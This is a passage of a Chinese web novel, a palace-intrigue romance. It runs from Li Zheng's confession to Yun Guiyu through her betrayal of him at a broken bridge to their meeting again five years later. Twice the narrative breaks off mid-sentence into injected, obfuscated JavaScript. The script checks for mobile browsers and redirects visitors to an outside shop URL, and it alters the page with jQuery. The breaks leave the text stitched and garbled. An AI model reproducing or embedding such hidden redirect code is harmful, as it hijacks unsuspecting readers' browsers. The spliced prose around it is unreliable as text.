三个赏赐听着很多,但比起给他加官进爵,陛下一定更愿意答应这三个,最后,再来一手急流勇退,既不会显得皇帝猜贤妒才,又不会给历家增加权力,如此,皇帝和历家之间,仍能像往常一样维持着刚刚好的平衡。 皇帝:“允。” *** 是夜,皇宫,集英殿。 皇帝大摆筵席,为沉英将军庆功。 虽说过了今夜,沉英将军便再无官身,连之前高中探花得的刑部侍郎一职,也将被革,但并不妨碍他的炙手可热,朝中诸臣,皆来庆贺。 席桌从大殿一直列到殿下的宽阔空地,座无虚席。 桌上山珍海味,奇花异果,身着罗绮,描眉画黛的宫娥们一个接一个地上菜。 乐师奏乐,丝竹管弦齐响,舞姬起舞,绫罗绸缎纷飞。 皇帝和皇后离开后,众人推杯换盏,你来我往,一片觥筹交错。有人向去向历铮敬酒,才发现席上无人。 庆功宴的主角,早已不知所踪。 历铮正仰躺在御花园的树干上。 他本想今夜回府,定要向云归玉表明心意,可临了临了,他反倒有些犹豫,才在这宴上待了这么久,不敢回府。 他是个没几年好活的人。 找了许久的神医,至今还是没有消息。 她若真对他有意,那他若是说了,最后是否仍要让她伤心? 可若不说,他总归是,不太甘心。 历铮烦躁间,从旁边树枝上随手扯了一朵花,一边扯花瓣,一边默念道:“问她,不问他,问她,不问她……” “庆功宴的主角,不在席上,却躲在这树上做什么?”云归玉站在树下,微微仰头,望着他。 虽然她并没有笑,可历铮就是觉得,她看他的眼神,很是温柔。 “你来了。” “你怎么才来?我的庆功宴,我还以为你不来了。” “你是不是怪我没回府去接你?是皇上非要留下我在宫里的。” 这话说的,竟有些委屈撒娇的意味。 云归玉听他话说的颠三倒四,有点无奈,“历铮,你醉了。” “我没醉。” 说话间,历铮身子一晃,就要跌落下来,云归玉一惊,下意识抬起双手,想要接他一下。 就见他用双腿勾住树干,倒挂着做了一个猴子捞月的动作,“刷”地一下,便与云归玉脸贴着脸,靠的极近。 呼吸交缠间,历铮道,“我有话要对你说。” 云归玉看他这摇摇欲坠的样子,生怕他真摔下来,摔坏身体事小,可摔个狗啃泥的话,破坏他那漂亮的脸蛋就不好了。 “你这样很危险,快下来。” 历铮点了点头,倒是意外地乖巧,猛地翻了个身,双手抓住树干再一松,利落地着地。 他闭了闭眼,再睁开时,一片清明,“云归玉。” 她似有所感,沉默一瞬,轻声应道:“嗯。” “清苑。”他道,“我心悦你。” 23. 情定 说完这句,历铮翻身从树上跳下,站到了云归玉的面前。 他今日身着左宽右窄的文武袖,内白外红,皆用金丝绣着烈火与祥云,袖口银丝收边。 腰间右半边绑着光泽发亮的皮革护腰,左半边则是锦带,悬挂玉饰。 既有世家子的雅润风度,又有习武之人的凛然气势。 历铮缓慢抬起手,用指节试探地碰了碰云归玉的脸,见她并未躲开,便轻轻抚了上去,将自己的心意再一次说出口,“我喜欢你,清苑。” 云归玉愣了愣,没能躲开他的手。 这本该是她预料之中的事情,她多日以来用的那些小手段,不就是为了这个结果吗?可临了临了,她又有些退缩。 历铮这样的人,真的会喜欢她吗?为什么?她明明是与他截然相反的人,她的那些撩拨手段,明明拙劣到能被一眼看穿。 可……她看着他的双眼,那里面不仅盛着细碎的月光,还流淌着真切的情意。 他是认真的。 云归玉垂下眼,不去看他的眼,半晌,才张了张口,道:“哦。” 历铮不满意她的反应,手上轻抚的动作一变,掐住她颊边软肉,轻轻扯了扯,“就一个‘哦’?” 云归玉拍开他的手,柳眉微竖,轻喝一声:“放肆!” 历铮却一点都没被吓到,反而得寸进尺地碰了碰她的手,然后直接牵住了她的手,大手包住她的冷白如玉的手指。 一旦将心意和盘托出,他便没什么好扭捏地了,今日,他势必要讨到一个答案。 “出征前我说的话,你还记得吗? 云归玉摸着自己被扯的那半边脸颊,呵呵冷笑,“不记得了。” “好,”历铮点点头,“那你介意我再做一次那件事,好让你回忆起来吗? 云归玉:“……不必了,我好像又想起来了。” “那我要的答案,你现在可以给我吗?” 云归玉瞧了眼自己被历铮攥住的手。 方才,她没有在第一时间挣脱。 没有人再开口,沉默蔓延,历铮只是抿着唇,执着地看着她,只是那眼中的一丝忐忑却难以掩藏。 “听说,你向陛下讨要了皇家花船,说要哄妻子开心?”云归玉忽然道。 “你知道了?”历铮这才想起,原本,自己是想带云归玉去花船上,然后再表明心意的,可方才见到她,加之酒意上头,竟是不管不顾地脱口而出。 “不带我去看看吗?”云归玉勾唇,“也许看了礼物我心情好,就能给你一个满意的答复。” 历铮眼神一亮,心跳陡然加快,拉着云归玉就往宫外走。 二人撇下庆功宴上一众大臣及公子贵女们,悄然出了宫,一路往曲江而去。 因着今日恰好是中秋节,没有宵禁,街上灯火通明,历铮一路拉着云归玉穿过熙攘的人群,一遍不忘把在路过各式小摊时顺手买下看上的物什,顺手给云归玉戴上。 于是到曲江边上时,云归玉的头上、手上、腰都上已经戴满了各种朱钗首饰,手里还提着一盏玉兔子。 而历铮自己,手臂上则挂满了月饼、玉兔糕、还不忘把手掌腾出来牵着云归玉,生怕她跑了似的。 花船静静地停在曲江上,张灯结彩,华丽一如往昔,却不如上次他们来时那般热闹。 船上安安静静,并无一个客人。 历铮牵着云归玉来到了顶层,放下手中的东西,正欲开口,却被云归玉用二指按在了唇上。 “十一。” 云归玉话音方落,一绿衣蒙面的女子闪身而出,将一足有桌长的紫檀木匣放下,又闪身消失。 历铮垂着眸,大半心神都放在云归玉的手指上,温温软软的,像长条形的奶酥糕。 想咬一口。 不过他还没付诸行动,手指的主人便将它们移开了。 历铮遗憾地舔了舔唇,仿佛尝到了一点甜味。 他瞥了一眼十一离开的方向,没有计较为何船上会潜藏着一个女杀手。 云归玉扬扬下巴,“打开看看。” 历铮打开木匣,只见一暗色长弓静卧,弓身弧度流畅,通体流转着幽邃光泽,木纹旋绕,却又蕴着金铁般的冷冽锋芒。弓弦细若游丝,无声紧绷,唯有风过时,发出一丝细微的嗡鸣之声。 “这是……钧天箭?” 历铮是爱弓之人,自然识货,不用云归玉回答,他便已经知道,这就是传说中的钧天箭。 名为箭,实则是弓。 乃是太祖开国之时所用之弓,弓力非凡,跟着太祖征战南北,打下大半江山。 此弓价值连城,或者说,是有价无市,因为它已经失传很久了。 历铮已经情不自禁地摸了上去,从弓身摸到弓弦,眼神发亮,爱不释手,是真真切切的高兴。 云归玉也不自觉地勾起了嘴角。 “你送我一把‘清雪’,我便送你一把‘钧天’。” 历铮闻言,上扬的嘴角却是缓缓放下,摸着钧天弓的手也收回,“我送你东西,不是为了要回礼的。” 若是什么都要还,不就代表,她还是把他当外人吗? 云归玉挑眉,“不要?” 历铮艰难地把眼睛从神兵上移开,“若你是为了还人情,那我便不要。” “那你刚才所问之事的答案,也不要了?” 历铮忙道:“这个是要的!” “那便用它,把箭射出去,”云归玉拿起盒子里的两支箭,递到历铮眼前,“选一支,你要的答案,就在箭里。” 历铮垂眸,这两支箭上,都用细线绑着个像爆竹一样的东西,一个用红线,一个用紫线。 他知道,他此刻的选择,决定了云归玉的答案。 不知过了多久,历铮终于抬手,伸向了有红线的那一支。 就在他快要碰到箭身时,云归玉忽而将那只箭后移,却将另一支往前送了送,意思不言而喻。 历铮顿了顿,还是按她的意思,拿起了那支箭。 “往哪射?” “天上。” 历铮轻笑一声,玩笑似的问:“莫非清苑是要我把月亮给你射下来?” “你且试试。” 话音未落,历铮搭箭拉弦,缓缓用力,钧天弓弦发出令人震颤的声音,如同巨石崩裂,弓弦绷到极致,他松开手指。 利箭冲着高空,仿佛真要奔着月亮而去,直到化作一个圆点,忽然一声巨响,烟花炸开,犹如凤啸九天。 历铮定睛看去,那烟花竟形成了一个字——“好”。 这便是她的回答了。 他一直稳如磐石的手,忽然有些发颤,心脏也似乎跟着一抖。 一股巨大的狂喜淹没了他。 谁说她冷若冰霜蛇蝎心肠不懂感情?她可太有一手了。 历铮难以自持地抱起她转了几个圈,直转到她眼冒金星,再轻轻放下,搂住她腰的手却没有放开,而是缓缓低头凑近,却又在最后一刻,垂下眼注视她,低声问道:“可以吗?” 云归玉不语,只是看了眼天上的烟花,那个字已经散去,化成无数光点划落,但历铮已无须再看,他明白了她的默许。 他终于吻了上去。 *** 一个月后。 云归玉躺在花船第一层的宽阔甲板的躺椅上,悠悠地晒着太阳。 忽闻岸边有稚嫩的童声飘来,像是吟诵着什么童谣。 她懒懒地闭着眼,有一句没一句地听着,听到某句,倏地睁开了眼,眸光闪烁。 她起身走到船边围栏,仔细聆听完了那一整首童谣。 确切来说,那不是一首童谣,而是一首诗歌。 诗云: “高殿空啼孤雁死,长街血溅万人哭。 山河欲碎岂无将?病骨擎天报君恩。 岂知圣明天子事,不问苍生问鬼神。 待到烟尘卷土来,殿中犹坐莲上仙。” 云归玉皱起了眉头。 她来时路上也听到一些书生、士人之类的吟诵着什么诗句,当时只听到零星半句或一句,也便没在意,如今一回想,他们吟咏的,不也正是这首? 那时没听仔细,可现今一想,这首诗根本说的就是当今之事! 这首诗悲叹郑岐丰的尽忠直谏,赞颂历铮的少年英勇,独独讽刺了皇帝求仙问道,不问苍生。 若是让皇帝听到了这首诗,该作何感想?郑岐丰已经死了,皇帝的矛头,只会对准历家。 云归玉思索了一会儿,又微微放下了心。 不管这诗如何令皇帝不悦,只要历山苍在外领兵一日,他就不会轻易打破平衡。 那么要承受皇帝怒火的,就只能是那位诗人了。皇帝那个老匹夫,怕是掘地三尺,也要把那人找出来。 回到躺椅上闭眼假寐了一会儿,忽觉洒在身上的阳光被人挡了去。 一睁眼,便看到历铮正弯下身子,眼含笑意看她,“清苑,我找你老半天,却原来在这儿呢,怎么也不跟我说一声?” 云归玉眼中浮现出一抹无奈。 就是为了躲你才到这儿来,怎么会告诉你? 至于为什么躲历铮,原因无他,实在是太腻歪了。 自从中秋那夜后,历铮简直走哪都黏着她,牵手,亲吻,时不时用那双亮灼灼的眼睛盯着她,吃饭疯狂给她夹菜,完了之后还要亲自给她擦嘴。 加上他辞了将军和刑部侍郎二职,简直闲的发慌,更是有大把时间来黏她。 云归玉道:“你别整日和我厮混了,不去找找你那些朋友们么,许久不见,你就不想和他们叙叙旧?” “厮混?”历铮仿佛只听到了这一个字眼似的,十分来劲,“你我分明还没有厮混过!我们可是明媒正娶、情投意合的夫妻!所以什么时候可以厮混?” 云归玉:“……” “哈哈哈哈崇渊,你夫人嫌你太缠人了你没发现吗?”第二层有人探出个脑袋,正是孟煊。 一旁的阿宁也探出头,“小七是大人了,不可以太黏人哦。” 这两人不知何时到的,也不知听了多久。 云归玉:“……” 历铮:“咳咳咳!” 见他咳嗽,云归玉脸色倏地冷了下来。 最近几天,历铮咳血的次数越发频繁,说明他的毒已经不能再拖了。 历铮见她脸色不佳,正要开哄,便听见一声尖利的呼喊。 “历世子!” 他回头,正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是能得到更多的权力,谁人会不想? 可不论是他还是赵福,却都很清楚,这个权,他们擅不了。 也正是因为他们与皇帝朝夕相处,才更明白—— 他眼前这个,不是前朝那几个被太后扶植,被权臣架空的皇帝,也不是前前朝末代那几个莫名其妙夭折的儿皇帝,而是一个真真正正手握大权的皇帝。 他年老昏庸,他求仙问药,可他却从未放弃过手中的权力。 他不像年轻时那样勤政爱民,也不像十几年前那样励精图治,可他的弄权之术却随着年龄的增长越发纯熟。 这样一个皇帝的权威,不容挑战。 不知过了多久,皇帝终于打完了坐,他睁开眼的时候,太监阿福的声音也恰到好处地从殿外传来:“陛下,历世子到了。” 皇帝慢条斯理地起身,不咸不淡道:“宣。” *** 夕阳降落时,云归玉仍在花船上,她坐在第七层的隔间里,与自己对弈。 一局终了,她看了看天色,起身欲回,方掀帘而出,便见历铮拾级而上。 云归玉观察他的面色,问:“皇帝找你说什么了?” 瞧着不是很高兴的样子。 “你果然还在这里,清苑。” 历铮走到她的面前,双手抓住了她的手,“战事又起,陛下要我再次出征。” 云归玉皱了皱眉,“你早已辞官。若是一有战事就让你去,你这官辞的有何意义?” 历铮叹了口气,“这是我的责任所在。” 官身都没了,有何责任? 云归玉不能理解。 想到午间听到的那首诗,她甚至疑心是皇帝已经看到了,心中不悦,故意为之。 可她的立场,并不适合说这种话。 于是云归玉只问道:“何日出发?” 历铮道:“兵已点好,大军现在城外等我,陛下命我即刻出兵,星夜启程。” 兵都早就点好了?皇上这是根本没给历铮拒绝的权力。 不,或者说是,皇上知道他不会拒绝。 云归玉咽下口中的嘲讽,只叹息道:“钧天注定染血,去吧。” 历铮轻吻她的朱唇,蹭了蹭她的脸侧,低语道:“等我回来。” 云归玉微笑回应:“最多等你一个月,若你死在战场,我就立刻改嫁。” 历铮睁大眼睛,当即愠怒欲言,却又在最后放轻了声音,咬牙道:“放心,为夫必不会给你这个机会!” “若你能平安回来,”云归玉轻笑一声,主动贴了贴他的唇,补完自己的话,“我便许你白头偕老之诺。” 白头? 可他怕是难有白头的机会了。 能与云归玉一起度过几年,他便能心满意足了。 历铮心中忽而生起一点悲伤,面上却不露分毫,笑得自信,“放心吧清苑,这次的叛党不成气候,我定能在你生辰之前赶回来,到那时,夫君亲手为你煮一碗长寿面。” “好,那我等着。” 24. 急转直下 十日后。 城郊木屋。 一只蛊虫从床上昏迷之人的鼻孔钻出来,摇摇晃晃地爬了几步,便倒下不动了。 云归玉没管那只蛊虫的死活,而是紧盯着床上之人的反应。 见他嘴唇青紫色褪去,面色逐渐恢复红润,她才轻轻勾起嘴角。 片刻之后,那人睁开了眼睛,猛地从床上下来,眼神惊恐,往门外逃窜,被暗卫一刀了结。 这是第八个人。 十个人里,有八个人解毒,也就是说,她的解毒之法,成功的把握已接近八成。 待历铮出征回来,她或许可以跟他提一提,让他一试。 暗卫等主子在院中净了手,才上前,恭敬地呈上方才从信鸽身上取下的信筒,“主子,烟雨楼最新的情报。” 云归玉打开信筒,发现竟是有两封信。她展开第一封,逐字看完,轻挑眉头,眼中闪过笑意。 历铮把叛军打得毫无还手之力,又一次立下战功,看来,他很快便可以班师回朝了。 将信纸交还给暗卫,命他销毁,才又展开第二封,她打眼一瞧,面色陡然一变,而后一把将它揉烂。 那是一句谶语。 ——李花将谢,王者当立。 是“王者”,而不是“王氏”,也就是说,谶语指的不是姓王的人,而是……为王者。 现今的王爷,有几位?除了那些宗室,便只有异姓王,忠武王。 这句谶语,分明直指历山苍。 自古以来的谶语,分明是怪力乱神之说,却偏总是莫名其妙地应验。 若说之前那首无名诗可能引起帝王心头不悦,但也还不算致命,可是此般谶语,却是帝王心头大忌,极有可能让皇帝震怒! 云归玉沉声道:“发动人手,务必把谶语相关的情报全部都拦截在京外。” “是。”暗卫领命而去。 *** 回府途中,马车行至历府附近,云归玉甫一下车,便见一身着蓝色罗绮的女子从拐角处出来。 那女子对着云归玉一福身子,“东家。” 是云安楼的琵琶女。 京城酒楼,十家里面,得有三家都是云归玉的产业,云安楼便是其一。 她给所有的掌柜都下了蛊,要她们对她绝对忠诚。可即便如此,她还是在掌柜身边安插了眼线。 云安楼的眼线,便是这个琵琶女。 女子上前一步,对云归玉恭敬行礼,低声说了几句话,云归玉听罢,眼神泛凉。 云安楼出事了。 户部尚书罗钦之子罗鸿欲强占云安楼一卖艺不卖身的箜篌女芳兰,争吵之中,将芳兰推落楼梯身亡。 掌柜怕惹事,便叫人将尸体处理了,欲将此事草草了结,却有一位叫梅三娘的古琴女,非要到刑部评理,现在方鸿与梅三娘二人,俱在刑部。 云归玉挥了挥手,“知道了,你回去吧。” “是。” 一炷香后,云归玉带着郡主府的一众侍卫,簇簇拥拥地来到了刑部府衙,踏门而入。 府衙众吏认得她是仪和郡主,也识得她是前任侍郎的妻子,不敢拦她,任由她轻车熟路地进了正堂。 方至审问厅,便听到有人一拍惊堂木,厉声道:“大胆罪妇梅三娘,竟敢捏造事实做假证!来人,将她拖下去,打三十大板!” 两个吏胥上前,架住梅三娘,便要拖下去。 云归玉跨步而来,冷喝一声:“住手!” 她打眼一扫,厅上高坐的,正是刑部尚书蒋镇,因此案牵扯到高官之子,便亲自审案。 而坐在他下手第一个位子上悠闲品茶的,想来便是那杀人者罗鸿了。 两个吏胥认出云归玉,一时拿不定主意,望向上首的蒋镇。 蒋镇一挥手,示意他们先退下,而后堆起了一个笑容,“来人,给殿下看座上茶。” “郡主殿下,什么风把您吹来啦?你夫君可早就不在我这里了。” “坐倒不必了,”云归玉冷笑,“我是来问问蒋大人,按我大楚律法,杀人者,是否应该偿命?” 蒋镇满脸惊讶,“殿下何出此问?” 这是要装傻糊弄过去? 云归玉却偏不让他糊弄过去,直接一指那优哉坐着的罗鸿,“此人杀了我云安楼的人,蒋大人明察秋毫,难道不知情么?” “郡主所言案情,本官俱已核实,罗公子并未杀人,此事实属意外。”蒋镇嘴角弧度不变,“倒是那梅三娘胡言乱语,污蔑罗公子,想必郡主也是听信了不知谁的谗言,才会有此误会。不过既然是郡主的人,那便免去处罚,郡主随时可以把人带走。” 云归玉眼神极为冰冷。 梅三娘本就无罪,蒋镇这话说的,好像还是他卖了她面子似的,真是厚颜无耻。 “看来蒋大人今日,是要颠倒黑白到底了?” “郡主哪里话,本官不过凭职责办事。”被人骂颠倒黑白,蒋镇也不生气,只意味深长道,“殿下,依本官之见,您还是莫要意气用事。便是云相,也与罗尚书交情甚笃,何必要让一场意外伤了两家和气呢?我想皇后娘娘,也不愿见到殿下为了不相干的人,惹得一身腥。” 云归玉明白,今日退步的,只能是自己。 她一拂衣袖,转身离去,路过仍跪在地上的梅三娘时,撂下一句:“走。” 梅三娘沉默起身,一瘸一拐地跟上。 云归玉让梅三娘上了她的马车,要把她送回云安楼。 一路上,云归玉沉默不语,周身泛着不愉的冷意。 她明白了一件事。 哪怕她已贵为郡主,很多事也无力左右。她只是个空有名号却无实权的郡主,与户部尚书相比,孰轻孰重,一目了然。 所以,蒋镇会给吏部尚书罗钦的面子,而不会给她面子。 是啊,若不是无实权,她又怎会差点被送去异族和亲呢?甚至需要另一桩婚姻来解围。 权贵权贵,光有贵还不行,需得有权。 “我看见了,您对他下了蛊。”一直安静待着的梅三娘忽然开口。 云归玉猛地掐住了她的脖子。 没错,方才离去时那一拂袖,便是为了对罗鸿下蛊。刑部和律法治不了他,但她也不会让他好过。 她虽然不择手段,疑心病重,可是她的人,岂能被别人伤害而不付出代价? 只是没想到,这女子看上去那般温婉柔弱,竟能察觉到她那般隐秘的小动作。 而且,还知道那是蛊。 既然如此,那便留她不得了。 命脉被人掐住,梅三娘渐渐窒息,面色泛紫,她难以自控地扒住颈上的手,艰难吐出了几个字。 云归玉倏然松开了手。 梅三娘腿一软,从座位上跌下。 “你怎么会知道这个名字?”云归玉居高临下地看着她。 娆英。 这是她最不想回想起的女人,苗寨大祭司的名字。 “咳咳咳咳咳,我是、苗村出逃之女,”梅三娘大口喘息,“是你、救了、我们所有人咳咳咳……” 云归玉眼神凉薄,“你想多了。我只是为了救我自己。” “论迹不论心。”梅三娘喘匀了气,露出一个微笑,眼神真诚,“哪怕只是顺带的,您也的的确确救了我们。况且今日,也是您救了我。” 云归玉想,她该杀了她。 那个地方的人是最不可信的,那个地方的过去也是她最不想提及的,那个地方的旧人更是她绝不想沾染的。 为什么不杀? 是跟历铮混久了,沾染了些不必要的仁慈吗? 不,当初留下十一,是因为她有用处,梅三娘想要留下,也自然得有用才行。 云归玉扔给她一个玉牌,“我会将云安楼原来的掌柜辞了,从今日起,由你来当代掌柜,以一月为期,若你能让云安楼保持命案发生前的生意,你便是新的掌柜了。” 梅三娘大喜,连忙磕头行礼,“谢谢恩人!奴家定然不负恩人所望!” *** 三日后,皇宫,云鸾殿。 “母亲,您召我入宫,可是有什么要事?”云归玉今日心情有些烦闷,并不想在这里久待,叫皇后看出来。 皇后嗔怪道:“若无要事,便不能找阿玉说说话了吗?” “我并无此意,母亲。”云归玉垂下眼睫,思索会否是为了几日前她去刑部质问蒋镇,得罪两位尚书的事情。 谁知皇后要半点没提那件事,反而劈头盖脸来了句:“阿玉,你与历七,和离吧。” 云归玉一怔:“什么意思?” 皇后上前一步,牵住了云归玉的手,“母亲想了想,还是觉得让你因和亲之事被迫出嫁极为不妥,正好如今氐兰已经被忠武王击溃,北退千里,玉儿不必再担心和亲的事了。” 云归玉皱了皱眉,“可是母亲,我已经……拿下历铮了,相信不要不了多久,就能让历铮劝服忠武王,让历家的势力为我们所用,此时放弃,岂不是前功尽弃?” “阿玉,你只需听母亲的劝就好,母亲不会害你的。” “那母亲之前为何还要让女儿以身入局,以色诱人?”云归玉有些烦躁,她总觉得自己还有什么不知道的东西,语气也带上了几分不快。 皇后闻言,柳眉倒竖,胸口起伏,“阿玉!你怎能如此说母亲!” 她习惯性扬起了手想要给人一巴掌,却生生止住。 这不是宫女太监们,这是她的女儿,是大楚的仪和郡主,也是她最大的依靠。 云归玉看到她高举的手,却更被激起了几分脾气,口不择言道:“皇后娘娘金口玉言,却如此朝令夕改,我竟不知到底该遵哪一条令。” 话一出口,两人都愣住了。 皇后放下了手,眸中浮现出了悲伤,似有泪光闪动,哀哀戚戚地看着她。 云归玉顿时就后悔了。她正想说点什么来补救,却听见皇后说道:“历山苍死了。” 云归玉有些没反应过来。 “什么?” 皇后收回了方才那副悲伤的表情,一字一顿地重复道:“忠武王历山苍,三日前,病死于长武城。” 云归玉这回听清了。 她的第一个念头是:那历铮会怎样?他会不会……很难过? 皇后叹了口气,“现在阿玉明白,母亲为什么要你赶紧和历铮撇清关系了吧?” 明白? 或许吧。若是往日的她,或许能当得起这一声“明白”。 可今日她思绪紊乱,实在无法去条分缕析地厘清各种利害关系,于是她选择求助自己的母亲,她恍惚地问:“为什么?” 皇后眉头微蹙,“阿玉,你今日怎么这么不像你?” “请母亲明示。” “皇上要历铮死。”皇后干脆地将一切摊开来说,“历山苍死后,只有历七有可能接下他爹的担子,拢得住长武军的那一群将领,只要他也死了,那些将领必定谁也不服谁,陷入内斗,这是皇上收回兵权的最好机会。” “皇上已经派人给历铮去了密信,说朝廷已派神行军接回了忠武王的尸身,不日便会以亲王之礼下葬,要他速回京城。但那小子连夜急行军,方向却仍旧是长武,可见并不相信皇上的密信。” “阿玉,你给他写封信吧。你既说自己已拿下历铮,你的话,他或许会信。” 最后,皇后意味深长地提醒道:“阿玉,你是本宫的女儿,本宫自然相信你与历家没什么,但是皇上却未必。你可明白?” 云归玉怎会不明白。 她虽是郡主,可那是因为皇后荣宠极盛,她毕竟不姓李,对于皇上来说,她终究不是自家人。 而她嫁给了历铮,皇上要对历家下手,她又凭什么能置身事外? 除非,她跟历家撇清关系,并且为皇上去做那把插向历铮的刀。 从皇宫出来以后,云归玉没有回历府,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998029|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是久违地回去了郡主府。 她把自己关在书房枯坐,几次日升月落,最终在一个清晨,她对身旁的碧溪开口:“备车,我要进宫。” *** 碧水惊秋,苍风吹叶。 泺水河畔,梧桐树叶褪色泛黄,因为净街的缘故,平时热闹的酒楼店肆空荡无人,寂静无声。 云归玉坐在江畔一小楼的亭中,面前放着一把琴。 她十指翻飞,琤然的琴声响起,声调悠悠飘远,越过飞鸿桥,传过泺水对岸,又传向更远的地方。 忽然,有杀喊声与马蹄声从远方传来,随即越来越近越来越近,与琴声交相辉映。 云归玉垂眸,见一人持刀纵马,身后零散紧跟着几个亲卫疾驰而至,却在河畔骤然勒马。 来人正是历铮。 泺水之上的那座桥,已被人为地凿成了断桥。桥的对面,陈列着严阵以待、神情戒备的神行军。 而那人身前身后围着的,则是身着金甲的京城十二卫。 这两只卫队皆是京城禁军,一个守内城,一个守外城,如今都被派来,只为将这一人,截杀在汴水河畔,断桥之上。 云归玉手下不停,琴声忽然变得激昂悲壮,已近尾声。 历铮身上有血,衣服破损无数。 虽已近强弩之末,可兵器在手,众卫兵谁也不敢轻易上前,去做那个注定失败,还可能丢命的出头鸟。 历铮忽然抬头,望向阁楼,目光冷冽,直直锁住了云归玉。 琴音已停,云归玉站了起来,与历铮平静对视。 他那么聪明,想必早在入京之后,城门关上,十二卫出现的那一刻,便已想通了全部关窍。 落入四面楚歌的境地,历铮竟是轻笑一声,“好一首《霸王卸甲》,郡主是要为我送行吗?” 没有得到回答,他声音沙哑,眼眶通红,疲惫至极,问:“我爹的尸身,到底在哪?” 云归玉轻轻摇头,目光竟是带上了些许同情,“不知道,也许在长武。” 历铮惨笑一声,“你信上说我爹的尸身在京城,其实是皇帝的意思,是吗?” 云归玉沉默了一下,没有否认。 历铮收起了那悲哀的笑意,神情只剩冷漠,“阿宁在哪?” “不知道。”云归玉说着,起身拿过仆从手中捧着的弓,抽箭搭弦,对准了历铮的心口。 历铮也抬起了弓,是她寻来送给他的“钧天”。 或许是伤重,他向来很稳的手,此刻竟有一丝颤抖。 云归玉与历铮同时放箭。 她身上穿着软甲,中历铮一箭,她死不了。 然而她没想到的是,历铮用钧天射出的那一箭,竟只削下了她一缕头发。 云归玉放下了手中的清雪,没有射出第二支箭。 她有些疑惑,能在十里之外射中老虎眼睛的人,准头会如此欠佳吗? 大抵是因为受伤了吧。 云归玉的那一箭,却正中历铮的心口。 他身体一颤,眼神下移,看到了箭尾绑着的信纸。 和离书。 隔着不远不近的距离,云归玉清楚地看到了历铮那一瞬的表情。 她闭了闭眼睛,倏然丢了手中的弓。 被一箭射入心口,历铮仍旧没有立刻停止动作,而是持枪又杀了几个人。 他向来喜着轻甲,而非重铠,以减轻战马负担,好能在战场上穿梭自如,也因此,这身甲衣,对他自身的保护远不及其他人。 此时他的甲衣已被砍得破烂,云归玉看得直皱起眉。 最后,许是终于气力衰竭,他终于被几个士兵逼到河边,退无可退。 “逆贼历铮,还不速速束手就擒!回去向陛下请罪!” 历铮笑了一声。 他深深地看了云归玉一眼,而后将自己的甲衣一扯,弃若敝履般,随手扔在地上,整个人往河里一倒。 “抓住他!” 他身子一歪,从桥上栽下,落入泺水之中。 “快下去找!陛下口谕,活要见人,死要见尸!” “会水的人先下去找,其余人,跟我去下游!” 随着“扑通”几声,有几个人跳下了泺水。 底下哄哄闹闹,云归玉却只盯着那被历铮扔掉的破烂不堪的甲衣。 他为什要脱下铠甲?这个动作未免太多此一举了些。 “把那甲衣给我拿上来,记住,要原封不动。” 仆从听令,很快将甲衣拿了上来,双手奉上。 云归玉打开那甲衣,果然从里面发现了一个小布包。 她几乎是有些颤抖地打开布包,一股幽香扑鼻而来,可惜的是,那一捧干花,已沾染了浓重的血腥味。 干花之中,一只祥云木钗躺在上面。 一场“平叛”风波结束,云归玉因献策有功,被帝王重赏。 她踩着历氏的枯骨,一步步手握权力,飞黄腾达,直到后来,成为真正手握大权的郡主。 刑部尚书蒋镇,户部尚书罗钦,向她郡主府递拜帖,都得看她愿不愿收。 渐渐地,她很少再去想起历铮,只是每逢中秋之夜,那人却总会入她梦来。 梦里,那人身姿挺拔,手握那把钧天神兵,拉弓射箭,利箭携着千钧之力,朝着她眉心的位置袭来。 这箭正中她眉心之时,她便就会猛然睁眼醒来,然后嗤笑一声,把这梦抛在脑后。 已死之人,有何可俱。 只是……云归玉愣愣地看着那马上的身影,瞳孔中映着那直直射来的弓箭。 这一次,利箭却没有射中她的眉心,而是莫名熟悉地,擦过了她的头发。 她听见声音,回头一看,那箭射入了身后的树干。 随之而来的,还有一句: “上京城,仪和郡主?几年不见,混成这样?” 说话的人,正是历铮。 原来这次,并不是梦。 25. 压寨 他们已五年没见了。 云归玉抬头望他,阳光洒在他身上,将他的身影勾勒出一圈金色的轮廓。 他已从少年长成了一个男人。面如冠玉,眸若寒星,形容俊美,气质凛然。与从前在京城时的清贵样不同,多了几分随性落拓。 云归玉感觉到,这人微微惊讶的语气下,似乎还藏着一丝幸灾乐祸。 也对,谁见了仇人倒霉会不高兴呢? 若是曾经,她必定要反唇相讥,回一句“上京城,历家七公子,元安二十七年探花郞,先帝亲封沉英将军,几年不见,怎么混成山匪头子了?” 但如今,或许是因身体不济,或许是不想再做一些意气之争,惩那口舌之快,又或许是出于当初对这人一箭穿心的一丝愧疚,她张了张口,最后只直愣愣道: “你还活着。” 男人的表情未变,只是语气略微讽刺:“我还活着,你很失望?” 云归玉没有回答这个问题,她感觉自己越发地难以掌控身体,慢吞吞问道:“你要杀了我吗?历……” “历逍,”历铮打断了她的话,用手中马鞭抬起她的下巴,眸光锐利冷淡,语气不容置疑:“我现在叫历逍。” 这人从前便是一副桀骜难驯的样子,在京城时,从小到大的修养尚占上风,如今做了山匪,那股野性冒了头,夹杂在与生俱来的贵气中,恰似浑然天成。 “好吧,历逍。”云归玉从善如流地改口,挑衅似的一扬下巴:“你要杀了我,报当初那一箭之仇吗?那就麻烦给我个痛快,感激不尽。” 历铮摇摇头,竟露出个笑来:“杀了你,太便宜你了。” 云归玉知道,一个人对待仇人的方法若不是直接杀死,那便会让她生不如死。 她若是还有力气,大抵会拔腿就跑。 但她现在已经虚弱到连自我了断的力气都没有,更别提在历铮的眼皮子底下逃跑了。 